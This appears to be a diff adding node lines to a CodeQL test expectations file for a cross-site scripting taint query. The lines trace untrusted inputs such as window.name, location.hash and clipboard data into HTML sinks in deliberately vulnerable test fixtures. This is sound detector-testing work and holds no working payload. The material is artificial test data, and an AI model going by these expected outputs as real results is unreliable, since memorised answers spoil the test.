+| classnames.js:8:31:8:85 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
+| classnames.js:8:47:8:70 | classNa ... w.name) | semmle.label | classNa ... w.name) |
+| classnames.js:8:59:8:69 | window.name | semmle.label | window.name |
+| classnames.js:9:31:9:85 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
+| classnames.js:9:47:9:70 | classNa ... w.name) | semmle.label | classNa ... w.name) |
+| classnames.js:9:59:9:69 | window.name | semmle.label | window.name |
+| classnames.js:10:45:10:55 | window.name | semmle.label | window.name |
+| classnames.js:11:31:11:79 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
+| classnames.js:11:47:11:64 | unsafeStyle('foo') | semmle.label | unsafeStyle('foo') |
+| classnames.js:13:31:13:83 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
+| classnames.js:13:47:13:68 | safeSty ... w.name) | semmle.label | safeSty ... w.name) |
+| classnames.js:13:57:13:67 | window.name | semmle.label | window.name |
+| classnames.js:15:31:15:78 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
+| classnames.js:15:47:15:63 | clsx(window.name) | semmle.label | clsx(window.name) |
+| classnames.js:15:52:15:62 | window.name | semmle.label | window.name |
+| classnames.js:17:32:17:79 | `<span  ... <span>` | semmle.label | `<span  ... <span>` |
+| classnames.js:17:48:17:64 | clsx(window.name) | semmle.label | clsx(window.name) |
+| classnames.js:17:53:17:63 | window.name | semmle.label | window.name |
+| clipboard.ts:8:11:8:51 | html | semmle.label | html |
+| clipboard.ts:8:18:8:51 | clipboa ... /html') | semmle.label | clipboa ... /html') |
+| clipboard.ts:15:25:15:28 | html | semmle.label | html |
+| clipboard.ts:24:23:24:58 | e.clipb ... /html') | semmle.label | e.clipb ... /html') |
+| clipboard.ts:29:19:29:54 | e.clipb ... /html') | semmle.label | e.clipb ... /html') |
+| clipboard.ts:33:19:33:68 | e.origi ... /html') | semmle.label | e.origi ... /html') |
+| clipboard.ts:43:15:43:55 | html | semmle.label | html |
+| clipboard.ts:43:22:43:55 | clipboa ... /html') | semmle.label | clipboa ... /html') |
+| clipboard.ts:50:29:50:32 | html | semmle.label | html |
+| clipboard.ts:71:13:71:62 | droppedHtml | semmle.label | droppedHtml |
+| clipboard.ts:71:27:71:62 | e.clipb ... /html') | semmle.label | e.clipb ... /html') |
+| clipboard.ts:73:29:73:39 | droppedHtml | semmle.label | droppedHtml |
+| clipboard.ts:98:15:98:54 | html | semmle.label | html |
+| clipboard.ts:98:22:98:54 | dataTra ... /html') | semmle.label | dataTra ... /html') |
+| clipboard.ts:99:23:99:26 | html | semmle.label | html |
+| custom-element.js:5:26:5:36 | window.name | semmle.label | window.name |
+| d3.js:4:12:4:22 | window.name | semmle.label | window.name |
+| d3.js:11:15:11:24 | getTaint() | semmle.label | getTaint() |
+| d3.js:12:20:12:29 | getTaint() | semmle.label | getTaint() |
+| d3.js:14:20:14:29 | getTaint() | semmle.label | getTaint() |
+| d3.js:21:15:21:24 | getTaint() | semmle.label | getTaint() |
+| dates.js:9:9:9:69 | taint | semmle.label | taint |
+| dates.js:9:17:9:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
+| dates.js:9:36:9:55 | window.location.hash | semmle.label | window.location.hash |
+| dates.js:9:36:9:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
+| dates.js:11:31:11:70 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:11:42:11:68 | dateFns ...  taint) | semmle.label | dateFns ...  taint) |
+| dates.js:11:63:11:67 | taint | semmle.label | taint |
+| dates.js:12:31:12:73 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:12:42:12:71 | dateFns ...  taint) | semmle.label | dateFns ...  taint) |
+| dates.js:12:66:12:70 | taint | semmle.label | taint |
+| dates.js:13:31:13:72 | `Time i ... time)}` | semmle.label | `Time i ... time)}` |
+| dates.js:13:42:13:70 | dateFns ... )(time) | semmle.label | dateFns ... )(time) |
+| dates.js:13:59:13:63 | taint | semmle.label | taint |
+| dates.js:16:31:16:69 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:16:42:16:67 | moment( ... (taint) | semmle.label | moment( ... (taint) |
+| dates.js:16:62:16:66 | taint | semmle.label | taint |
+| dates.js:18:31:18:66 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:18:42:18:64 | datefor ...  taint) | semmle.label | datefor ...  taint) |
+| dates.js:18:59:18:63 | taint | semmle.label | taint |
+| dates.js:21:31:21:68 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:21:42:21:66 | dayjs(t ... (taint) | semmle.label | dayjs(t ... (taint) |
+| dates.js:21:61:21:65 | taint | semmle.label | taint |
+| dates.js:30:9:30:69 | taint | semmle.label | taint |
+| dates.js:30:17:30:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
+| dates.js:30:36:30:55 | window.location.hash | semmle.label | window.location.hash |
+| dates.js:30:36:30:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
+| dates.js:37:31:37:84 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:37:42:37:82 | dateFns ...  taint) | semmle.label | dateFns ...  taint) |
+| dates.js:37:77:37:81 | taint | semmle.label | taint |
+| dates.js:38:31:38:84 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:38:42:38:82 | luxon.f ...  taint) | semmle.label | luxon.f ...  taint) |
+| dates.js:38:77:38:81 | taint | semmle.label | taint |
+| dates.js:39:31:39:86 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:39:42:39:84 | moment. ...  taint) | semmle.label | moment. ...  taint) |
+| dates.js:39:79:39:83 | taint | semmle.label | taint |
+| dates.js:40:31:40:84 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:40:42:40:82 | dayjs.f ...  taint) | semmle.label | dayjs.f ...  taint) |
+| dates.js:40:77:40:81 | taint | semmle.label | taint |
+| dates.js:46:9:46:69 | taint | semmle.label | taint |
+| dates.js:46:17:46:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
+| dates.js:46:36:46:55 | window.location.hash | semmle.label | window.location.hash |
+| dates.js:46:36:46:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
+| dates.js:48:31:48:90 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:48:42:48:88 | DateTim ... (taint) | semmle.label | DateTim ... (taint) |
+| dates.js:48:83:48:87 | taint | semmle.label | taint |
+| dates.js:49:31:49:89 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:49:42:49:87 | new Dat ... (taint) | semmle.label | new Dat ... (taint) |
+| dates.js:49:82:49:86 | taint | semmle.label | taint |
+| dates.js:50:31:50:104 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:50:42:50:102 | DateTim ... (taint) | semmle.label | DateTim ... (taint) |
+| dates.js:50:97:50:101 | taint | semmle.label | taint |
+| dates.js:54:9:54:69 | taint | semmle.label | taint |
+| dates.js:54:17:54:69 | decodeU ... ing(1)) | semmle.label | decodeU ... ing(1)) |
+| dates.js:54:36:54:55 | window.location.hash | semmle.label | window.location.hash |
+| dates.js:54:36:54:68 | window. ... ring(1) | semmle.label | window. ... ring(1) |
+| dates.js:57:31:57:101 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:57:42:57:99 | moment. ... (taint) | semmle.label | moment. ... (taint) |
+| dates.js:57:94:57:98 | taint | semmle.label | taint |
+| dates.js:59:31:59:87 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:59:42:59:85 | luxon.e ... (taint) | semmle.label | luxon.e ... (taint) |
+| dates.js:59:80:59:84 | taint | semmle.label | taint |
+| dates.js:61:31:61:88 | `Time i ... aint)}` | semmle.label | `Time i ... aint)}` |
+| dates.js:61:42:61:86 | dayjs.s ... (taint) | semmle.label | dayjs.s ... (taint) |
+| dates.js:61:81:61:85 | taint | semmle.label | taint |
+| dragAndDrop.ts:8:11:8:50 | html | semmle.label | html |
+| dragAndDrop.ts:8:18:8:50 | dataTra ... /html') | semmle.label | dataTra ... /html') |
+| dragAndDrop.ts:15:25:15:28 | html | semmle.label | html |
+| dragAndDrop.ts:24:23:24:57 | e.dataT ... /html') | semmle.label | e.dataT ... /html') |
+| dragAndDrop.ts:29:19:29:53 | e.dataT ... /html') | semmle.label | e.dataT ... /html') |
+| dragAndDrop.ts:33:19:33:67 | e.origi ... /html') | semmle.label | e.origi ... /html') |
+| dragAndDrop.ts:43:15:43:54 | html | semmle.label | html |
+| dragAndDrop.ts:43:22:43:54 | dataTra ... /html') | semmle.label | dataTra ... /html') |
+| dragAndDrop.ts:50:29:50:32 | html | semmle.label | html |
+| dragAndDrop.ts:71:13:71:61 | droppedHtml | semmle.label | droppedHtml |
+| dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | semmle.label | e.dataT ... /html') |
+| dragAndDrop.ts:73:29:73:39 | droppedHtml | semmle.label | droppedHtml |
+| event-handler-receiver.js:2:31:2:83 | '<h2><a ... ></h2>' | semmle.label | '<h2><a ... ></h2>' |
+| event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href |
+| express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") |
+| jquery.js:2:7:2:40 | tainted | semmle.label | tainted |
+| jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search |
+| jquery.js:4:5:4:11 | tainted | semmle.label | tainted |
+| jquery.js:5:13:5:19 | tainted | semmle.label | tainted |
+| jquery.js:6:11:6:17 | tainted | semmle.label | tainted |
+| jquery.js:7:5:7:34 | "<div i ... + "\\">" | semmle.label | "<div i ... + "\\">" |
+| jquery.js:7:20:7:26 | tainted | semmle.label | tainted |
+| jquery.js:8:18:8:34 | "XSS: " + tainted | semmle.label | "XSS: " + tainted |
+| jquery.js:8:28:8:34 | tainted | semmle.label | tainted |
+| jquery.js:10:5:10:40 | "<b>" + ...  "</b>" | semmle.label | "<b>" + ...  "</b>" |
+| jquery.js:10:13:10:20 | location | semmle.label | location |
+| jquery.js:10:13:10:31 | location.toString() | semmle.label | location.toString() |
+| jquery.js:14:19:14:58 | decodeU ... n.hash) | semmle.label | decodeU ... n.hash) |
+| jquery.js:14:38:14:57 | window.location.hash | semmle.label | window.location.hash |
+| jquery.js:15:19:15:60 | decodeU ... search) | semmle.label | decodeU ... search) |
+| jquery.js:15:38:15:59 | window. ... .search | semmle.label | window. ... .search |
+| jquery.js:16:19:16:64 | decodeU ... ring()) | semmle.label | decodeU ... ring()) |
+| jquery.js:16:38:16:52 | window.location | semmle.label | window.location |
+| jquery.js:16:38:16:63 | window. ... tring() | semmle.label | window. ... tring() |
+| jquery.js:18:7:18:33 | hash | semmle.label | hash |
+| jquery.js:18:14:18:33 | window.location.hash | semmle.label | window.location.hash |
+| jquery.js:21:5:21:8 | hash | semmle.label | hash |
+| jquery.js:21:5:21:21 | hash.substring(1) | semmle.label | hash.substring(1) |
+| jquery.js:22:5:22:8 | hash | semmle.label | hash |
+| jquery.js:22:5:22:25 | hash.su ... (1, 10) | semmle.label | hash.su ... (1, 10) |
+| jquery.js:23:5:23:8 | hash | semmle.label | hash |
+| jquery.js:23:5:23:18 | hash.substr(1) | semmle.label | hash.substr(1) |
+| jquery.js:24:5:24:8 | hash | semmle.label | hash |
+| jquery.js:24:5:24:17 | hash.slice(1) | semmle.label | hash.slice(1) |
+| jquery.js:27:5:27:8 | hash | semmle.label | hash |
+| jquery.js:27:5:27:25 | hash.re ... #', '') | semmle.label | hash.re ... #', '') |
+| jquery.js:28:5:28:26 | window. ... .search | semmle.label | window. ... .search |
+| jquery.js:28:5:28:43 | window. ... ?', '') | semmle.label | window. ... ?', '') |
+| jquery.js:34:5:34:25 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
+| jquery.js:34:13:34:16 | hash | semmle.label | hash |
+| jquery.js:36:25:36:31 | tainted | semmle.label | tainted |
+| jquery.js:37:25:37:37 | () => tainted | semmle.label | () => tainted |
+| jquery.js:37:31:37:37 | tainted | semmle.label | tainted |
+| json-stringify.jsx:5:9:5:36 | locale | semmle.label | locale |
+| json-stringify.jsx:5:18:5:36 | req.param("locale") | semmle.label | req.param("locale") |
+| json-stringify.jsx:11:51:11:56 | locale | semmle.label | locale |
+| json-stringify.jsx:19:56:19:61 | locale | semmle.label | locale |
+| json-stringify.jsx:31:40:31:61 | JSON.st ... locale) | semmle.label | JSON.st ... locale) |
+| json-stringify.jsx:31:55:31:60 | locale | semmle.label | locale |
+| json-stringify.jsx:35:40:35:61 | JSON.st ... jsonLD) | semmle.label | JSON.st ... jsonLD) |
+| jwt-server.js:7:9:7:35 | taint | semmle.label | taint |
+| jwt-server.js:7:17:7:35 | req.param("wobble") | semmle.label | req.param("wobble") |
+| jwt-server.js:9:16:9:20 | taint | semmle.label | taint |
+| jwt-server.js:9:55:9:61 | decoded | semmle.label | decoded |
+| jwt-server.js:10:19:10:25 | decoded | semmle.label | decoded |
+| jwt-server.js:10:19:10:29 | decoded.foo | semmle.label | decoded.foo |
+| nodemailer.js:13:11:13:69 | `Hi, yo ... sage}.` | semmle.label | `Hi, yo ... sage}.` |
+| nodemailer.js:13:50:13:66 | req.query.message | semmle.label | req.query.message |
+| optionalSanitizer.js:2:7:2:39 | target | semmle.label | target |
+| optionalSanitizer.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
+| optionalSanitizer.js:6:18:6:23 | target | semmle.label | target |
+| optionalSanitizer.js:8:7:8:22 | tainted | semmle.label | tainted |
+| optionalSanitizer.js:8:17:8:22 | target | semmle.label | target |
+| optionalSanitizer.js:9:18:9:24 | tainted | semmle.label | tainted |
+| optionalSanitizer.js:15:9:15:14 | target | semmle.label | target |
+| optionalSanitizer.js:16:18:16:18 | x | semmle.label | x |
+| optionalSanitizer.js:17:20:17:20 | x | semmle.label | x |
+| optionalSanitizer.js:26:7:26:39 | target | semmle.label | target |
+| optionalSanitizer.js:26:16:26:39 | documen ... .search | semmle.label | documen ... .search |
+| optionalSanitizer.js:28:24:28:24 | x | semmle.label | x |
+| optionalSanitizer.js:29:12:29:12 | x | semmle.label | x |
+| optionalSanitizer.js:31:7:31:23 | tainted2 | semmle.label | tainted2 |
+| optionalSanitizer.js:31:18:31:23 | target | semmle.label | target |
+| optionalSanitizer.js:32:18:32:25 | tainted2 | semmle.label | tainted2 |
+| optionalSanitizer.js:34:5:34:36 | tainted2 | semmle.label | tainted2 |
+| optionalSanitizer.js:34:16:34:36 | sanitiz ... inted2) | semmle.label | sanitiz ... inted2) |
+| optionalSanitizer.js:34:28:34:35 | tainted2 | semmle.label | tainted2 |
+| optionalSanitizer.js:36:18:36:25 | tainted2 | semmle.label | tainted2 |
+| optionalSanitizer.js:38:7:38:23 | tainted3 | semmle.label | tainted3 |
+| optionalSanitizer.js:38:18:38:23 | target | semmle.label | target |
+| optionalSanitizer.js:39:18:39:25 | tainted3 | semmle.label | tainted3 |
+| optionalSanitizer.js:41:5:41:36 | tainted3 | semmle.label | tainted3 |
+| optionalSanitizer.js:41:16:41:36 | sanitiz ... inted3) | semmle.label | sanitiz ... inted3) |
+| optionalSanitizer.js:41:28:41:35 | tainted3 | semmle.label | tainted3 |
+| optionalSanitizer.js:43:18:43:25 | tainted3 | semmle.label | tainted3 |
+| optionalSanitizer.js:45:18:45:56 | sanitiz ...  target | semmle.label | sanitiz ...  target |
+| optionalSanitizer.js:45:29:45:47 | sanitizeBad(target) | semmle.label | sanitizeBad(target) |
+| optionalSanitizer.js:45:41:45:46 | target | semmle.label | target |
+| optionalSanitizer.js:45:51:45:56 | target | semmle.label | target |
+| pages/[id].jsx:3:30:3:35 | params [id] | semmle.label | params [id] |
+| pages/[id].jsx:3:30:3:35 | params [q] | semmle.label | params [q] |
+| pages/[id].jsx:5:9:5:14 | { id } | semmle.label | { id } |
+| pages/[id].jsx:5:9:5:29 | id | semmle.label | id |
+| pages/[id].jsx:5:18:5:29 | router.query | semmle.label | router.query |
+| pages/[id].jsx:10:44:10:45 | id | semmle.label | id |
+| pages/[id].jsx:13:44:13:49 | params [id] | semmle.label | params [id] |
+| pages/[id].jsx:13:44:13:52 | params.id | semmle.label | params.id |
+| pages/[id].jsx:16:44:16:49 | params [q] | semmle.label | params [q] |
+| pages/[id].jsx:16:44:16:51 | params.q | semmle.label | params.q |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [id] | semmle.label | {\\n      ... e\\n    } [id] |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [q] | semmle.label | {\\n      ... e\\n    } [q] |
+| pages/[id].jsx:25:11:25:24 | context.params | semmle.label | context.params |
+| pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | semmle.label | context ... d \|\| "" |
+| pages/[id].jsx:26:10:26:22 | context.query | semmle.label | context.query |
+| pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | semmle.label | context ... r \|\| "" |
+| react-native.js:7:7:7:33 | tainted | semmle.label | tainted |
+| react-native.js:7:17:7:33 | req.param("code") | semmle.label | req.param("code") |
+| react-native.js:8:18:8:24 | tainted | semmle.label | tainted |
+| react-native.js:9:27:9:33 | tainted | semmle.label | tainted |
+| react-use-context.js:10:22:10:32 | window.name | semmle.label | window.name |
+| react-use-context.js:16:26:16:36 | window.name | semmle.label | window.name |
+| react-use-router.js:8:21:8:32 | router.query | semmle.label | router.query |
+| react-use-router.js:8:21:8:39 | router.query.foobar | semmle.label | router.query.foobar |
+| react-use-router.js:11:24:11:35 | router.query | semmle.label | router.query |
+| react-use-router.js:11:24:11:42 | router.query.foobar | semmle.label | router.query.foobar |
+| react-use-router.js:23:43:23:54 | router.query | semmle.label | router.query |
+| react-use-router.js:23:43:23:61 | router.query.foobar | semmle.label | router.query.foobar |
+| react-use-router.js:33:21:33:32 | router.query | semmle.label | router.query |
+| react-use-router.js:33:21:33:39 | router.query.foobar | semmle.label | router.query.foobar |
+| react-use-state.js:4:9:4:49 | state | semmle.label | state |
+| react-use-state.js:4:38:4:48 | window.name | semmle.label | window.name |
+| react-use-state.js:5:51:5:55 | state | semmle.label | state |
+| react-use-state.js:9:9:9:43 | state | semmle.label | state |
+| react-use-state.js:10:14:10:24 | window.name | semmle.label | window.name |
+| react-use-state.js:11:51:11:55 | state | semmle.label | state |
+| react-use-state.js:15:9:15:43 | state | semmle.label | state |
+| react-use-state.js:15:10:15:14 | state | semmle.label | state |
+| react-use-state.js:16:20:16:30 | window.name | semmle.label | window.name |
+| react-use-state.js:17:51:17:55 | state | semmle.label | state |
+| react-use-state.js:21:10:21:14 | state | semmle.label | state |
+| react-use-state.js:22:14:22:17 | prev | semmle.label | prev |
+| react-use-state.js:23:35:23:38 | prev | semmle.label | prev |
+| react-use-state.js:25:20:25:30 | window.name | semmle.label | window.name |
+| sanitiser.js:16:7:16:27 | tainted | semmle.label | tainted |
+| sanitiser.js:16:17:16:27 | window.name | semmle.label | window.name |
+| sanitiser.js:23:21:23:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
+| sanitiser.js:23:29:23:35 | tainted | semmle.label | tainted |
+| sanitiser.js:30:21:30:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
+| sanitiser.js:30:29:30:35 | tainted | semmle.label | tainted |
+| sanitiser.js:33:21:33:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
+| sanitiser.js:33:29:33:35 | tainted | semmle.label | tainted |
+| sanitiser.js:38:21:38:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
+| sanitiser.js:38:29:38:35 | tainted | semmle.label | tainted |
+| sanitiser.js:45:21:45:44 | '<b>' + ...  '</b>' | semmle.label | '<b>' + ...  '</b>' |
+| sanitiser.js:45:29:45:35 | tainted | semmle.label | tainted |
+| sanitiser.js:48:19:48:25 | tainted | semmle.label | tainted |
+| sanitiser.js:48:19:48:46 | tainted ... /g, '') | semmle.label | tainted ... /g, '') |
+| stored-xss.js:2:39:2:62 | documen ... .search | semmle.label | documen ... .search |
+| stored-xss.js:3:35:3:58 | documen ... .search | semmle.label | documen ... .search |
+| stored-xss.js:5:20:5:52 | session ... ssion') | semmle.label | session ... ssion') |
+| stored-xss.js:8:20:8:48 | localSt ... local') | semmle.label | localSt ... local') |
+| stored-xss.js:10:9:10:44 | href | semmle.label | href |
+| stored-xss.js:10:16:10:44 | localSt ... local') | semmle.label | localSt ... local') |
+| stored-xss.js:12:20:12:54 | "<a hre ... ar</a>" | semmle.label | "<a hre ... ar</a>" |
+| stored-xss.js:12:35:12:38 | href | semmle.label | href |
+| string-manipulations.js:3:16:3:32 | document.location | semmle.label | document.location |
+| string-manipulations.js:4:16:4:37 | documen ... on.href | semmle.label | documen ... on.href |
+| string-manipulations.js:5:16:5:37 | documen ... on.href | semmle.label | documen ... on.href |
+| string-manipulations.js:5:16:5:47 | documen ... lueOf() | semmle.label | documen ... lueOf() |
+| string-manipulations.js:6:16:6:37 | documen ... on.href | semmle.label | documen ... on.href |
+| string-manipulations.js:6:16:6:43 | documen ... f.sup() | semmle.label | documen ... f.sup() |
+| string-manipulations.js:7:16:7:37 | documen ... on.href | semmle.label | documen ... on.href |
+| string-manipulations.js:7:16:7:51 | documen ... rCase() | semmle.label | documen ... rCase() |
+| string-manipulations.js:8:16:8:37 | documen ... on.href | semmle.label | documen ... on.href |
+| string-manipulations.js:8:16:8:48 | documen ... mLeft() | semmle.label | documen ... mLeft() |
+| string-manipulations.js:9:16:9:58 | String. ... n.href) | semmle.label | String. ... n.href) |
+| string-manipulations.js:9:36:9:57 | documen ... on.href | semmle.label | documen ... on.href |
+| string-manipulations.js:10:16:10:45 | String( ... n.href) | semmle.label | String( ... n.href) |
+| string-manipulations.js:10:23:10:44 | documen ... on.href | semmle.label | documen ... on.href |
+| tainted-url-suffix-arguments.js:3:17:3:17 | y | semmle.label | y |
+| tainted-url-suffix-arguments.js:6:22:6:22 | y | semmle.label | y |
+| tainted-url-suffix-arguments.js:11:11:11:36 | url | semmle.label | url |
+| tainted-url-suffix-arguments.js:11:17:11:36 | window.location.href | semmle.label | window.location.href |
+| tainted-url-suffix-arguments.js:12:17:12:19 | url | semmle.label | url |
+| tooltip.jsx:6:11:6:30 | source | semmle.label | source |
+| tooltip.jsx:6:20:6:30 | window.name | semmle.label | window.name |
+| tooltip.jsx:10:25:10:30 | source | semmle.label | source |
+| tooltip.jsx:11:25:11:30 | source | semmle.label | source |
+| tooltip.jsx:17:11:17:33 | provide [source] | semmle.label | provide [source] |
+| tooltip.jsx:17:21:17:33 | props.provide [source] | semmle.label | props.provide [source] |
+| tooltip.jsx:18:51:18:57 | provide [source] | semmle.label | provide [source] |
+| tooltip.jsx:18:51:18:59 | provide() | semmle.label | provide() |
+| tooltip.jsx:22:11:22:30 | source | semmle.label | source |
+| tooltip.jsx:22:20:22:30 | window.name | semmle.label | window.name |
+| tooltip.jsx:23:38:23:43 | source | semmle.label | source |
+| translate.js:6:7:6:39 | target | semmle.label | target |
+| translate.js:6:16:6:39 | documen ... .search | semmle.label | documen ... .search |
+| translate.js:7:7:7:61 | searchParams | semmle.label | searchParams |
+| translate.js:7:7:7:61 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
+| translate.js:7:22:7:61 | new URL ... ing(1)) | semmle.label | new URL ... ing(1)) |
+| translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | semmle.label | new URL ... ing(1)) [MapValue] |
+| translate.js:7:42:7:47 | target | semmle.label | target |
+| translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
+| translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
+| translate.js:7:42:7:60 | target.substring(1) | semmle.label | target.substring(1) |
+| translate.js:8:27:8:38 | searchParams | semmle.label | searchParams |
+| translate.js:8:27:8:38 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
+| translate.js:8:27:8:50 | searchP ... 'term') | semmle.label | searchP ... 'term') |
+| trusted-types-lib.js:1:28:1:28 | x | semmle.label | x |
+| trusted-types-lib.js:2:12:2:12 | x | semmle.label | x |
+| trusted-types.js:3:62:3:62 | x | semmle.label | x |
+| trusted-types.js:3:67:3:67 | x | semmle.label | x |
+| trusted-types.js:4:20:4:30 | window.name | semmle.label | window.name |
+| trusted-types.js:13:20:13:30 | window.name | semmle.label | window.name |
+| tst3.js:2:12:2:75 | JSON.pa ... tr(1))) | semmle.label | JSON.pa ... tr(1))) |
+| tst3.js:2:23:2:74 | decodeU ... str(1)) | semmle.label | decodeU ... str(1)) |
+| tst3.js:2:42:2:63 | window. ... .search | semmle.label | window. ... .search |
+| tst3.js:2:42:2:73 | window. ... bstr(1) | semmle.label | window. ... bstr(1) |
+| tst3.js:4:25:4:28 | data | semmle.label | data |
+| tst3.js:4:25:4:32 | data.src | semmle.label | data.src |
+| tst3.js:5:26:5:29 | data | semmle.label | data |
+| tst3.js:5:26:5:31 | data.p | semmle.label | data.p |
+| tst3.js:7:32:7:35 | data | semmle.label | data |
+| tst3.js:7:32:7:37 | data.p | semmle.label | data.p |
+| tst3.js:9:37:9:40 | data | semmle.label | data |
+| tst3.js:9:37:9:42 | data.p | semmle.label | data.p |
+| tst3.js:10:38:10:41 | data | semmle.label | data |
+| tst3.js:10:38:10:43 | data.p | semmle.label | data.p |
+| tst.js:2:7:2:39 | target | semmle.label | target |
+| tst.js:2:16:2:39 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:4:18:4:23 | target | semmle.label | target |
+| tst.js:6:18:6:126 | "<OPTIO ... PTION>" | semmle.label | "<OPTIO ... PTION>" |
+| tst.js:6:37:6:58 | documen ... on.href | semmle.label | documen ... on.href |
+| tst.js:6:37:6:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
+| tst.js:6:37:6:114 | documen ... t=")+8) | semmle.label | documen ... t=")+8) |
+| tst.js:9:5:9:42 | '<div s ...  'px">' | semmle.label | '<div s ...  'px">' |
+| tst.js:9:28:9:33 | target | semmle.label | target |
+| tst.js:14:7:14:56 | params | semmle.label | params |
+| tst.js:14:7:14:56 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams, MapValue] | semmle.label | (new UR ... ation)) [searchParams, MapValue] |
+| tst.js:14:16:14:43 | (new UR ... ation)) [searchParams] | semmle.label | (new UR ... ation)) [searchParams] |
+| tst.js:14:16:14:56 | (new UR ... hParams | semmle.label | (new UR ... hParams |
+| tst.js:14:16:14:56 | (new UR ... hParams [MapValue] | semmle.label | (new UR ... hParams [MapValue] |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams, MapValue] | semmle.label | new URL ... cation) [searchParams, MapValue] |
+| tst.js:14:17:14:42 | new URL ... cation) [searchParams] | semmle.label | new URL ... cation) [searchParams] |
+| tst.js:14:25:14:41 | document.location | semmle.label | document.location |
+| tst.js:15:18:15:23 | params | semmle.label | params |
+| tst.js:15:18:15:23 | params [MapValue] | semmle.label | params [MapValue] |
+| tst.js:15:18:15:35 | params.get('name') | semmle.label | params.get('name') |
+| tst.js:17:7:17:61 | searchParams | semmle.label | searchParams |
+| tst.js:17:7:17:61 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
+| tst.js:17:22:17:61 | new URL ... ing(1)) | semmle.label | new URL ... ing(1)) |
+| tst.js:17:22:17:61 | new URL ... ing(1)) [MapValue] | semmle.label | new URL ... ing(1)) [MapValue] |
+| tst.js:17:42:17:47 | target | semmle.label | target |
+| tst.js:17:42:17:60 | target.substring(1) | semmle.label | target.substring(1) |
+| tst.js:17:42:17:60 | target.substring(1) | semmle.label | target.substring(1) |
+| tst.js:17:42:17:60 | target.substring(1) | semmle.label | target.substring(1) |
+| tst.js:18:18:18:29 | searchParams | semmle.label | searchParams |
+| tst.js:18:18:18:29 | searchParams [MapValue] | semmle.label | searchParams [MapValue] |
+| tst.js:18:18:18:41 | searchP ... 'name') | semmle.label | searchP ... 'name') |
+| tst.js:21:14:21:19 | target | semmle.label | target |
+| tst.js:22:18:22:23 | target | semmle.label | target |
+| tst.js:24:5:24:28 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:27:10:27:33 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:29:16:29:20 | bar() | semmle.label | bar() |
+| tst.js:31:14:31:14 | x | semmle.label | x |
+| tst.js:32:10:32:10 | x | semmle.label | x |
+| tst.js:34:16:34:44 | baz(doc ... search) | semmle.label | baz(doc ... search) |
+| tst.js:34:20:34:43 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:36:15:36:15 | s | semmle.label | s |
+| tst.js:36:15:36:15 | s | semmle.label | s |
+| tst.js:37:10:37:31 | "<div>" ... </div>" | semmle.label | "<div>" ... </div>" |
+| tst.js:37:20:37:20 | s | semmle.label | s |
+| tst.js:37:20:37:20 | s | semmle.label | s |
+| tst.js:39:16:39:45 | wrap(do ... search) | semmle.label | wrap(do ... search) |
+| tst.js:39:21:39:44 | documen ... .search | semmle.label | documen ... .search |
+| tst.js:41:15:41:15 | s | semmle.label | s |
+| tst.js:43:12:43:12 | s | semmle.label | s |
+| tst.js:43:12:43:22 | s.substr(1) | semmle.label | s.substr(1) |
+| tst.js:43:12:43:22 | s.substr(1) | semmle.label | s.substr(1) |
+| tst.js:43:12:43:22 | s.substr(1) | semmle.label | s.substr(1) |
+| tst.js:46:16:46:45 | chop(do ... search) | semmle.label | chop(do ... search) |
